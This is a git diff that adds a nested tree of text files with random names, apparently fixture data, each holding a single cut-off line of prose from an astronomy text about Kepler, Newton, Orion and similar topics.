diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_neoucobprtjkcq.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_neoucobprtjkcq.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_neoucobprtjkcq.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_psapsczgomvyegfdtcprio.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_psapsczgomvyegfdtcprio.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_psapsczgomvyegfdtcprio.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_reaicdoinmpqbehy.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_reaicdoinmpqbehy.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_reaicdoinmpqbehy.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_sokotwgmqvorpakv.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_sokotwgmqvorpakv.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_sokotwgmqvorpakv.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_sxutyzaviphbeknvkgnmucd.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_sxutyzaviphbeknvkgnmucd.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_sxutyzaviphbeknvkgnmucd.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/file_zxqfbblscgxdkkixpxlpp.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/file_zxqfbblscgxdkkixpxlpp.txt
new file mode 100644
index 0000000..aa4f10e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/file_zxqfbblscgxdkkixpxlpp.txt
@@ -0,0 +1 @@
+coinage. His natural moodiness and reclusivity grew; he resolved to abandon those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_dtwtmxpvdeqrsktppktum.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_dtwtmxpvdeqrsktppktum.txt
new file mode 100644
index 0000000..ddc73d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_dtwtmxpvdeqrsktppktum.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_etohhrrtvkgbpz.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_etohhrrtvkgbpz.txt
new file mode 100644
index 0000000..ddc73d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_etohhrrtvkgbpz.txt
@@ -0,0 +1 @@
+picture book prepared for the Emperor, as ‘The Triumphant Visions of the Starry Raft.’ Unfortunately, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_meerqsdklguxfrmhwbtto.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_meerqsdklguxfrmhwbtto.txt
new file mode 100644
index 0000000..ddc73d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_meerqsdklguxfrmhwbtto.txt
@@ -0,0 +1 @@
+picture book prepared for the Emperor, as ‘The Triumphant Visions of the Starry Raft.’ Unfortunately, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_mhqtsunvzwbasdtfiseeqc.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_mhqtsunvzwbasdtfiseeqc.txt
new file mode 100644
index 0000000..ddc73d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_mhqtsunvzwbasdtfiseeqc.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_okabhtmpjdrkyfh.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_okabhtmpjdrkyfh.txt
new file mode 100644
index 0000000..ddc73d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_okabhtmpjdrkyfh.txt
@@ -0,0 +1 @@
+picture book prepared for the Emperor, as ‘The Triumphant Visions of the Starry Raft.’ Unfortunately, the
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_rsujiqotinjyfdelybtymbis.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_rsujiqotinjyfdelybtymbis.txt
new file mode 100644
index 0000000..ddc73d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_rsujiqotinjyfdelybtymbis.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_shgdheyiivnkmrlct.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_shgdheyiivnkmrlct.txt
new file mode 100644
index 0000000..ddc73d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_shgdheyiivnkmrlct.txt
@@ -0,0 +1 @@
+picture book prepared for the Emperor, as ‘The Triumphant Visions of the Starry Raft.’ Unfortunately, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_tyzkcdslvvnynjbgbvo.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_tyzkcdslvvnynjbgbvo.txt
new file mode 100644
index 0000000..ddc73d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_tyzkcdslvvnynjbgbvo.txt
@@ -0,0 +1 @@
+picture book prepared for the Emperor, as ‘The Triumphant Visions of the Starry Raft.’ Unfortunately, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_vvtmxgaxwmym.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_vvtmxgaxwmym.txt
new file mode 100644
index 0000000..ddc73d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_vvtmxgaxwmym.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_xftbdynnwtwsvuhnlurzmdz.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_xftbdynnwtwsvuhnlurzmdz.txt
new file mode 100644
index 0000000..ddc73d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_xftbdynnwtwsvuhnlurzmdz.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_xrnhuricegwbzazzijch.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_xrnhuricegwbzazzijch.txt
new file mode 100644
index 0000000..ddc73d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_xrnhuricegwbzazzijch.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_yrshcduvzfntavhqft.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_yrshcduvzfntavhqft.txt
new file mode 100644
index 0000000..ddc73d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_yrshcduvzfntavhqft.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_zijdauggikxfrpomunng.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_zijdauggikxfrpomunng.txt
new file mode 100644
index 0000000..ddc73d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_zijdauggikxfrpomunng.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_zmhlusyhbkzgc.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_zmhlusyhbkzgc.txt
new file mode 100644
index 0000000..ddc73d8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/file_zmhlusyhbkzgc.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_avhxpvgghgutblrwwgec.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_avhxpvgghgutblrwwgec.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
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@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_bhkdkcahuka.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_bhkdkcahuka.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_bhkdkcahuka.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_bnjhlwrrpuljvviwaoszmfcd.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_bnjhlwrrpuljvviwaoszmfcd.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
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@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_bscrqzoz.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_bscrqzoz.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_bscrqzoz.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_bxmuvrlyzffbjcykvw.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_bxmuvrlyzffbjcykvw.txt
new file mode 100644
index 0000000..ab1c400
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@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_cmibljxxdbdnxglfa.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_cmibljxxdbdnxglfa.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
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@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_ebmjfalaycoai.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_ebmjfalaycoai.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_ebmjfalaycoai.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_fbnuxxwcai.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_fbnuxxwcai.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_fbnuxxwcai.txt
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_hrnpkjmr.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_hrnpkjmr.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_hrnpkjmr.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_hxzyvuhqzwifdmhwhverxi.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_hxzyvuhqzwifdmhwhverxi.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_isvthpbujuwfnml.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_isvthpbujuwfnml.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
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@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_iuusdkhmlekxpjf.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_iuusdkhmlekxpjf.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_ivpitzcrepsmaqdjmoug.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_ivpitzcrepsmaqdjmoug.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
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@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_jvemkovngmxvtorfb.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_jvemkovngmxvtorfb.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_jvemkovngmxvtorfb.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_nfforuakfb.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_nfforuakfb.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_nfforuakfb.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_ngutryackvxtevk.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_ngutryackvxtevk.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_nvrwdodpitdoaqivqpd.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_nvrwdodpitdoaqivqpd.txt
new file mode 100644
index 0000000..ab1c400
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+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_nvrwdodpitdoaqivqpd.txt
@@ -0,0 +1 @@
+clockwork of the solar system. He described it in a book called The Harmonies of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_plrbwphsobtnph.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_plrbwphsobtnph.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_plrbwphsobtnph.txt
@@ -0,0 +1 @@
+clockwork of the solar system. He described it in a book called The Harmonies of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_qvpenrmlkyxi.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_qvpenrmlkyxi.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_qvpenrmlkyxi.txt
@@ -0,0 +1 @@
+clockwork of the solar system. He described it in a book called The Harmonies of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_sdgbyxuizfeo.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_sdgbyxuizfeo.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_sdgbyxuizfeo.txt
@@ -0,0 +1 @@
+clockwork of the solar system. He described it in a book called The Harmonies of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_tqdjbviovsex.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_tqdjbviovsex.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_tqdjbviovsex.txt
@@ -0,0 +1 @@
+clockwork of the solar system. He described it in a book called The Harmonies of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_uhftdubptwtmttuotz.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_uhftdubptwtmttuotz.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_uhftdubptwtmttuotz.txt
@@ -0,0 +1 @@
+clockwork of the solar system. He described it in a book called The Harmonies of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_ukzeamvrgo.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_ukzeamvrgo.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_ukzeamvrgo.txt
@@ -0,0 +1 @@
+clockwork of the solar system. He described it in a book called The Harmonies of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_zzycgrmlruraclvv.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_zzycgrmlruraclvv.txt
new file mode 100644
index 0000000..ab1c400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/file_zzycgrmlruraclvv.txt
@@ -0,0 +1 @@
+clockwork of the solar system. He described it in a book called The Harmonies of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/absbnipynkdvvvnodwp.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/absbnipynkdvvvnodwp.txt
new file mode 100644
index 0000000..4829074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/absbnipynkdvvvnodwp.txt
@@ -0,0 +1 @@
+three landing pods had sunk deeply into a loosely packed soil, various undesirable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/ajbtvhiurrgvsnplrsetbre.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/ajbtvhiurrgvsnplrsetbre.txt
new file mode 100644
index 0000000..05f5680
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/ajbtvhiurrgvsnplrsetbre.txt
@@ -0,0 +1 @@
+Major recent collisions from Saturn to Venus were alleged in a popular book,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/bexgvccqhiotxcaggjkrgiqv.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/bexgvccqhiotxcaggjkrgiqv.txt
new file mode 100644
index 0000000..70040a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/bexgvccqhiotxcaggjkrgiqv.txt
@@ -0,0 +1 @@
+was thought to be a ‘perfect’ geometrical shape and the planets, placed high in the heavens,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/cnyanvxmyndyihlbe.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/cnyanvxmyndyihlbe.txt
new file mode 100644
index 0000000..7293f28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/cnyanvxmyndyihlbe.txt
@@ -0,0 +1 @@
+expenditures in the Soviet Union are a few times larger. Together these sums represent the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/cqxwpjkdmgdowjputmg.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/cqxwpjkdmgdowjputmg.txt
new file mode 100644
index 0000000..207c1f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/cqxwpjkdmgdowjputmg.txt
@@ -0,0 +1 @@
+had not the vaguest notion of the great discoveries taking place within the Library. New
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/diyamisflqkvyskxpbscgs.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/diyamisflqkvyskxpbscgs.txt
new file mode 100644
index 0000000..eca87b7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/diyamisflqkvyskxpbscgs.txt
@@ -0,0 +1 @@
+supplied from without, must be in a continual decrease, and quite fail at last.’ Newton
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/erzckkbalqrhmzbswozh.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/erzckkbalqrhmzbswozh.txt
new file mode 100644
index 0000000..b8f396f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/erzckkbalqrhmzbswozh.txt
@@ -0,0 +1 @@
+The (nonzodiacal) constellation of Orion, the hunter, is outlined by four bright stars
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_byxezudwdykmxdu.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_byxezudwdykmxdu.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_byxezudwdykmxdu.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_fobqhvegnxlmnfnjjh.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_fobqhvegnxlmnfnjjh.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_fobqhvegnxlmnfnjjh.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_icntgaeikursrgivrbeo.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_icntgaeikursrgivrbeo.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_icntgaeikursrgivrbeo.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_iulimpirdrzyijltob.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_iulimpirdrzyijltob.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_iulimpirdrzyijltob.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_jjxuxizkumcgwljbxbo.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_jjxuxizkumcgwljbxbo.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_jjxuxizkumcgwljbxbo.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_jndmnyresq.txt b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_jndmnyresq.txt
new file mode 100644
index 0000000..3bf5fc7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xcjkkezjhy/folder_gxcyqatixv/folder_dofwetaven/folder_lsrmafcwzn/file_jndmnyresq.txt
@@ -0,0 +1 @@
+centuries, which completed the geographical exploration of the Earth. Columbus’ first
\ No newline at end of file
